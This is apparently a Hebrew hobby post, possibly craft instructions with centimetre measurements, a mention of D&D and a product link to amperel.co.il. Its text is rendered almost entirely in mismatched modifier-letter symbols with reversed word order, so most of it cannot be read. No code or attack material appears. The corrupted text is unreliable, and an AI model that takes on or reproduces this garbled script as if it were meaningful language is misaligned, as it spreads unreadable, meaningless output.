˫˧˟˴ˬˢˬ ˫˧˞˟ˢ ˶ˣ˥˟˪ ?˨˧˞ ˡˡˣˬ˸ˮ ˫˰ ˸ˣ˪˟ˠˬ ˪˷ ˭ˣ˶˩ˤ ˸ˣ˪˟ˠˬˣ ˪˷ ˭ˬˤ ?˶ˬ˞ˬ˟ ˞˟ˢ ˸˶ˡ˯˟  

˫˧˶ˬ˞ˬˢ ˠ˧˴ˮ ˦˰ˬ ˫˧˦˶˲ ˪˰ ˷ˣˬ˧ˬ ˪˷ ˫˧ˬ˸˧˶ˣˠ˪˞ ˷ˣ˲˧˥˪ ˟˥˶ˬ˟ ˫˧˟˴ˬˢ ˶˧˩ˮˣ ˸˞ ˸ˣˮˣ˩˸ˢ 

˫ˢ˪˷ .˧ˮ˞ ˢˣˣ˵ˬ ˶˟˩˷ ˧˶˥˞ ˶ˬ˞ˬ ˢˤ ˢ˪˞˷ˢ "˨˧˞ ˫˧ˬ˶ˣˠ ˟˷˥ˬ˪ ˶ˣ˸˲˪ ˸ˣ˧˰˟ "ˢ˶ˣ˶˟ ˫˩˪ ˶˸ˣ˧. 
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˫˧˪ˣ˰ˮˬ ˸˴˧˶˲ 
 ˪˞˧˦˯˵ ˵˧˲˞ ˸˞ˬ)cp77fk4r( 

 

ˢˬˡ˵ˢ 
 

˞˪ ˢ˟˶ˢ ˫˧˰ˡˣ˧ ˸˞ ˢˤ ,˪˟˞ ˸˴˧˶˲ ˧˪ˣ˰ˮˬ ˶ˡˮ˧˪˧˴ ˞˧ˢ ˧˪ˣ˞ ˡ˥˞ ˫˧˶˟ˡˢ ˫˧ˡ˧˥˧ˢ ˫˧˪ˣ˩˧˷ ˯ˮ˩ˢ˪ 

ˢ˧˶ˣˠ˦˵˪ ˪˷ "ˣˬ˩ ˢ˸˞˷ ˢ˞ˣ˶ ˸˞ ˢˤ ˦˶˯˟ - ˢ˩˩ ˢˤ ˸ˣ˞˧˴ˬ˟ ."˧ˮ˞ˣ ˞˪ ˫˧ˤˠˬ ,˭˩ ,˶ˣ˶˟ ˷˧˷ ˸˞ 

˫˧˞˴ˣ˧ˢ ˪˪˩ˢˬ ,ˣˬ˩ ˪˩˟ ˫˧˦˶˯ˢ ˪˷ s-D&D, ˫˸˞˷ ˫˧˞ˣ˶ ˢˤ˧˞ ˡ˥˞ ˯˧ˮ˩ˬ ˸˞ ˭˶ˣ˲˧˴ˢ ˣ˪˷ ˪ˣ˰ˮˬ˪ 

˞ˣˢˣ ˥˸˲ˮ ,)˸ˣ˶ˬ˪ ˫˞˷ ˭˶ˣ˲˧˴ˢ ˣ˪˷ ˵˧˲˯ˬ ˢ˵ˤ˥ ˸˲˧˧ˣ˷ˬˣ  ˢˮˣ˩ˮˢ ˢ˶ˣ˴˟- ˭˧˞ ˢ˟˧˯ ˪ˣ˰ˮˬˢ˷ ˞˪ 

˥˸˲˧ ,˪˟˞ ˢˤ ˶˟˩ ˶ˣ˲˧˯ ˶˥˞.( 

˪˩˟ ˭˲ˣ˞ ,ˢˬ ˧ˮ˞˷ ˢ˯ˮˬ ˡ˧ˠˢ˪ ˢˤ ˞˪˷ ˢ˟˶ˢ ˫˧˰ˡˣ˧ ˸˞  ˢˤ- ˪˟˞ ˸˴˧˶˲ ˫˧˪ˣ˰ˮˬ ˢ˪˞˩ ˸˞ˤ ˸ˬ˞˟ 

ˢ˩˞˪ˬ )˷˧ ˫˧˶˟ˣ˯ˢ ˱˞ "˸ˣˮˬˣ˞ ("ˢ˦ˣ˷˲ ˰ˣ˴˧˟˪ ,˵˶ ˨˧˶˴ ˸˞ ˫˧˪˩ˢ ˫˧ˮˣ˩ˮˢ ˭˧˟ˢ˪ˣ ˸˞ ˢ˵˧ˮ˩˦ˢ 

˸ˡˬˣ˰˷ ˧˶ˣ˥˞ˬ ˪˩ ˢˤ ,ˢˤˣ ˵ˣ˧ˡ˟ ˧ˮ˞˷ ˢˬ ˢˬ ˧ˮ˞˷ ˨˪ˣˢ ˡˬ˪˪ ˫˩˸˞ ˭˞˩. 

 

˫˧˪˩ˢ 

 

˸ˠ˷ˢ ˫˧˶ˬˣ˥ˢ ˫˧˷ˣ˶ˡˢ 

 

˧ˡ˩˟ ˳ˣ˶˲˪ ˧˪ˣ˰ˮˬ ˶ˡˮ˧˪˧˴ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˠ˧˷ˢ˪ ˢˬ˩ ˫˧˶ˬˣ˥: 

¶ ˧ˡˣ˲˧˷ ˸˩˸ˬ. ˧ˮ˞ ˧˸˷ˬ˸˷ˢ ˡ˧ˡˬ˟ ˭ˬ˷-˫˧ˬ ˪˷ ˸˧ˮˣ˩ˬ ˢˮ˷˧ ,˫˰ ˸ˣ˲˧ˡ˰ ˸˧˞˷ˬ˪ ,˶˟ˣˡˬ 

ˣˬ˟˦˸ˣ ˸˩˸ˬ ˫˧˩ˣ˶˞ˢ ˢ˪˞ˢ ˫˸˶ˤ˰˟˷ ˫˧ˡˡˣˬ ˸˞ ˸ˣˬ˩ ˭ˬ˷ˢ ˫˧ˬˢˣ ˧˪˩˟-˟˩˶ ,˫˞ ˭˧˞ 

˫˩˪ ,ˤ˞ ˶˷˲˞ )˸ˣ˶ˬ˪ ˞˪˷ ˳˪ˬˣˬ (˷˲˥˪ ˡ˧˪ ˸ˣ˩˶ˡˬˢ ˪˩˟ ˶˧˰ - ˪˩ ˶˷˰ ˶˦ˬ ˵ˣ˶ˤ ˡ˥˞ ,

˫ˢ ˫˧˞˴ˬˮ ˫˷ ˪˪ˠ˟ ˷˧˷ ˸˞ ˸ˣˮˣ˩ˬˢ ˪˷ ˢ˧˧˶˧˰ˢ ˫˰ ˧ˮ˷ s-"˫˧˶ˣ˪˲ˣ˪˲" 

ˢ˪˞ˢ ˫˸˶ˤ˰˟˷ ˫ˢ ˫˧˵ˮˬ ˸˞ ˷˧˟˩ˢ ,˫ˢ˷˩ ˫˧˟˶˵˸ˬ ˢ˩˶ˡˬ˪- ˫ˢ ˫˧˶˟˷ˮ ˫ˢ˪ ˦˰ˬ˩ 

ˡ˧ˬ˸ ,˫˞ ˭˧˞ ˫˩˪ ˨˶ˡ ˠ˧˷ˢ˪ ˸˞ ˡ˧ˡˬˢ ˭ˬ˷-˫˧ˬ ,ˤ˞ ˣ˷ˬ˸˷˸ ˫ˢ˟ ,˪˟˞ ˢˤ ˞˪ ˱˧ˡ˰ ˧ˮ˲ˬ 

˫ˢ˷ ˧l ˫˧ˮ˧ˡ˰ ˧˞ˣ ˶˷˲˞ ˷ˬ˸˷ˢ˪ ˫ˢ˟ ˪˰ ˫˧˪ˣ˰ˮˬ ˫˧˪ˣˡˠ. 

¶ ˫˸˞ ˫ˠ ˫˧˩˧˶˴ ˠ˧˷ˢ˪ ˭˧˲ˣ˷/˱ˣ˷ˬ ˸˩˸ˬ˪/˫˧ˮ˧˩˯ .˫˞ ˭˧˞ ˫˩˪ ˸˧˟˟  ˫˸ˣ˞ ˸ˣˮ˵˪ ˶˷˲˞˪˴˞ 

˦˰ˬ˩ ˪˩ ˶ˠˮ x˞ ˸ˣ˧ˣˮ˥˟ ˧˪˩˪ ˪ˣˤ˶˧˲ . ˞ˬˠˣˡ˪ˢ˲ ˵ˮ˧˪˟ : 

http://www.amperel.co.il/products/72344  

˫˧˶˩ˣˬ 3 ˢ˪˞˩ ˡˣ˞ˬ ˫˧˧˸ˣ˩˧˞ ˟-18 ˪˵˷. 

¶ ˳ ˣ˥ ˢˤˬ ,˫˸˞ ˫˧˩˧˶˴ ˧˪˩ ˭ˣˬ˧˯˪ ,˥˧ˮˮ ˭ˣ˶˲˧˰ ,˶˦˞˵ˣ. 

  

http://www.amperel.co.il/products/72344
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˭˲ˣ˞ ˸ˮ˩ˢ ˫˧˪˩ˢ 

˶˥˞˪ ˣˮˠ˷ˢ˷ ˸˞ ˫˧˶ˬˣ˥ˢ ,˶˷˲˞ ˪˧˥˸ˢ˪ ˡˣ˟˰˪. ˭ˣ˶˵˧˰ˢ ˡˬˣ˰˷ ˧˶ˣ˥˞ˬ ˸˴˧˶˲ ˪˩ ˪ˣ˰ˮˬ ˶ˡˮ˧˪˧˴ 

˞ˣˢ ˢˬˣˡ ,ˣ˪˧˟˷˟ˣ ˨˧˶˴ ˧ˮ˷ ˫˧˪˩ ˫˧˧˯˧˯˟ ,˷˧ ˧˪˰ˣˮˬ ˶ˡˮ˧˪˧˴ ˫˧˪˪˩ˣ˷ˬ ˫˪˧˟˷˟˷ ˫˧˩˧˶˴ ˭˧˩ˢ˪ ˡˣ˰ 

˫˧˪˩- ˪˟˞ ˸˞ ˫˧˪˩ˢ ˫˧˯˧˯˟ˢ ˨˧˶˴ ˡ˧ˬ˸. ˶˟ˣˡˬ ˧ˮ˷˟ ˫˧˪˩ ,˭ˣ˷˞˶˪ ˫˧˞˶ˣ˵ ˧˵ˣ˸ ,˧ˮ˷˪ˣ ˫˧˞˶ˣ˵ ˱ˣˮˬ ,

˸˶ˤ˰˟ ˧˵ˣ˸ˢ ˣˮ˥ˮ˞ ˫˧˵˥˷ˬ ˫˰ ˫˧ˮ˧˲ˢ ˫˧˰ˮˣˬ˷ ˱ˣˠˢˬ ˧ˬ˧ˮ˲ˢ ˪˷ ˪ˣ˰ˮˬˢ ˟˟ˣ˸˯ˢ˪ ,˸˶ˤ˰˟ˣ ˱ˣˮˬˢ 

ˣˮ˥ˮ˞ ˫ˠ ˫˧ˬˡˬ ˸˞ ˢ˰ˣˮ˸ˢ ˸˧˟ˣ˟˧˯ˢ ˪˷ ˥˸˲ˬˢ ˫ˠˣ ˫˧˪˧˰˲ˬ ˣ˸˶ˤ˰˟ ˳˥˪ ˪˰ ˱ˣˠˢ ˧ˬ˧ˮ˲ˢ ˪˷ 

˪ˣ˰ˮˬˢ ˰"˧ ˣ˸˵˧˥ˡ ˱ˣˠ˪ ˧ˮˣ˴˧˥ˢ ˨˩ˣ ˫˧˰ˮˣˬ ˫˧ˮ˧˲ˢˬ ˳ˣ˲˵˪ ˢ˶ˤ˥˟ ˶˥˞˪ ˣˮˡ˶ˣˢ˷ ˫˸ˣ˞. 

˶ˣ˶˟ ˞˪ ˶˟˯ˢˢˣ ˢˡ˧ˬ˟ ,˦˯˵˦ˢ ˨˷ˬˢ˟ ˷ˣˬ˧˷ˢ ˭˲ˣ˞ ˸˞ ˶˸ˣ˧ ˦˶˲˞ ˧ˮ˞.  

 

˫˧˪˧˥˸ˬ .˳˧˶˥ ˪ˣ˰ˮˬˢ ˰˴ˣˬˬˢ )ˢ˲˧˞ ˫˧˯˧ˮ˩ˬ˷ ˸˞ ˥˸˲ˬˢ (˞ˣˢ ˨˶ˣ˞˟ ˪˷ ˦˰ˬ˩ ˶˦ˬ˧˦ˮ˯ ,ˣ˵ˬˣ˰ 

˰ˮ ˭˧˟ ˷ˣ˪˷ ˰˟˶˞˪ ˶˦ˬ˧˦ˮ˯ ,˭˩˪ˣ ,˪˰ ˫˧˪˩ˢ ˣˮ˪˷ ˸ˣ˧ˢ˪ ˶ˡ˯˟ ˪ˡˣˠ ˢˤ˩ ,˧˶˥˞ ˫˸ˮ˩ˢ˷ ˸˞ ˫˧˪˩ˢ 

˪ˣ˰ˮˬ˪ ˰˴ˣˬˬ - ˭˧˞ ˢ˧˰˟ ˱˞ˣ ˳˪ˬˣˬ ˭˧˩ˢ˪ ˫˧˪˩ ˫ˠ ˫˧˪ˣ˰ˮˬ˪ ˧˶ˡ˯˟ ˪ˡˣˠ ˫˧ˮˣ˷ ˣ˷ˬ˷˧˷ ˫˩˸˞ 

˫˧˶˵ˬ˟ "˫˧ˠ˧˶˥." 

 

˸ˮ˩ˢ ˧˵ˣ˸ˢ 

ˣˮˬ˯ ˨˶˰˟ 15 ˯"ˬ ˡˣ˲˧˷ˢˬ ˫˸ˠ˷ˢ˷ ˸˶ˤ˰˟ˣ ˶˦˞˵ˢ ˣ˩˸˧˥ ˣ˸ˣ˞ ,ˣ˶˴˧˸ 2 ˸ˣ˩˧˸˥ ˢ˪˞˩. 

ˣ˥˵ ˢ˩˧˸˥ ˸˥˞ ˢˬˬ ˫˸˶˴˧˷ ,ˣˮˬ˯ˣ ˢ˧˪˰ ˵ˣ˧ˡ˟ ˣˬ˩ ˧˸ˮˬ˧˯˷ ˢˮˣˬ˸˟ ˢ˞˟ˢ : 
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 ˭ˬˣ˯ˬˢ ˶ˣˤ˧˞ˢ- ˸˞ ˢˤ ˫˸˞ ˫˧˶ˣˬ˞ ˱˧˧˷˪ ,ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ˫˸˞ ˫˧˶ˣˬ˞ ˪˟˵˪ ˢ˞˴ˣ˸ ˸˞ˤ˩ : 

 

 

ˣˮˬ˯ ˧ˮˣˬ˩ ˵ˣ˧ˡ˟ˣ ˣˬ˩ ˫˸˩˸˥˷ ˫ˡˣ˵ ,ˣ˩˸˥ ˫ˠ ˭˞˩ : 

 

 

ˢ˞˴ˣ˸ˢ ˸˧˲ˣ˯ˢ ˪˷ ˧˵ˣ˸ˢ ˢ˶ˣˬ˞ ˸ˣ˞˶ˢ˪ ˭ˣˮˠ˧˯˟ ˢˤˢ : 
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˸ˮ˩ˢ ˱ˣˮˬˢ 

˶˥˞˪ ˭˩ˬ ˣ˥˵ ˸˞ ˢ˩˧˸˥ˢ ˢ˧˧ˮ˷ˢ ,ˣˮˬ˯ ˨˶ˣ˞˟ 3 ˯"ˬ ˸˥˞ˬ ˸ˣˣ˴˵ˢ ˡ˰ ˤ˩˶ˬ˪ ˢ˴˵ˢ ˧ˮ˷˟ ˫˧ˡˡ˴ˢ ,

˶˴ˣˣ˧˷ ˢ˩˩ ˫˩˪ ˢ˴˵ ˡˡˣ˥ˬ ,ˢ˶ˣ˴˟ ˢ˞˟ˢ : 

 

 

˵ˣ˧ˡ˟ˣ ˣˬ˩ ˧ˮ˷˟ ˫˧ˬ˰˲ˢ ˸ˣˬˡˣ˵ˢ- ˣ˲˧˧˷ ˸˶ˤ˰˟ ˭˧˲ˣ˷ˢ ˧˲˪ ˭ˣˬ˧˯ˢ ,ˢ˴˵ ˱ˣˮˬˢ ˞˪ ˶ˣˬ˞ ˸ˣ˧ˢ˪ ˡ˥ 

ˣˢ˷ˬ, ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ,˶˥˞˪ ˱ˣ˧˷ˢ ,˸˶ˤ˰˟ ˡ˧ˢ ,ˣˬ˵˰ ˸˞ ˪˩ s-3 ˯"ˬ  +2 ˯"ˬ ˢ˶ˣ˥˞ ,˶˴ˣ˸ˢ 

˶ˬˠˣˬˢ ˶ˣˬ˞ ˢ˩˩ ˸ˣ˞˶ˢ˪ : 

 

  


























































































